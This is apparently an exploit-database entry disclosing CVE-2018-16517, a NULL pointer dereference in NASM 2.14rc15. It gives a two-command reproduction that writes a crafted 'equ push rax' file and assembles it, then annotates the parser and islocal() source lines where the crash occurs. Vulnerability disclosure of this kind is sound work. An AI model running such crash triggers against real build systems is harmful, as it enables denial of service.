Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)

# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)
# Date: 2018-09-05
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://www.nasm.us/
# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
# Version: 2.14rc15 and earlier
# Tested on: 2.14rc15
# CVE : CVE-2018-16517

asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.

PoC:
1. echo "equ   push  rax" > poc
2. nasm -f elf poc

insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().
 
   [...]
    
    if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) {    <-- not taken
        /* there's a label here */
        first = false;
        result->label = tokval.t_charptr;
        i = stdscan(NULL, &tokval);
        if (i == ':') {         /* skip over the optional colon */
            i = stdscan(NULL, &tokval);
        } else if (i == 0) {
            nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,
                  "label alone on a line without a colon might be in error");
        }
        if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {
            /*
             * FIXME: location.segment could be NO_SEG, in which case
             * it is possible we should be passing 'absolute.segment'. Look into this.
             * Work out whether that is *really* what we should be doing.
             * Generally fix things. I think this is right as it is, but
             * am still not certain.
             */
            define_label(result->label,
                         in_absolute ? absolute.segment : location.segment,
                         location.offset, true);
    [...]

static bool islocal(const char *l)
{
    if (tasm_compatible_mode) {
        if (l[0] == '@' && l[1] == '@')
            return true;
    }
    return (l[0] == '.' && l[1] != '.');  <-- boom
}